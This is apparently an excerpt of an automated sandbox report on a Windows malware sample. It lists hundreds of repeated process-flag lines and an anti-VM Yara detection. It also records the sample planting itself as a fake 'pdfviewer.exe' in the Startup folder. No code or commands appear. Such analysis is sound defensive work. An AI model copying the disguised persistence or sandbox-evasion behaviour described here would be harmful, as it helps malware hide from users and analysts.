Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: 962Zrwh5bU.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdfviewer.exe PID: 5892, type: MEMORYSTR

Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Memory allocated: D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Memory allocated: 26B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\962Zrwh5bU.exe	Memory allocated: 46B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Memory allocated: 2420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Memory allocated: 26B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe	Memory allocated: 2420000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\962Zrwh5bU.exe

4_2_00416B94

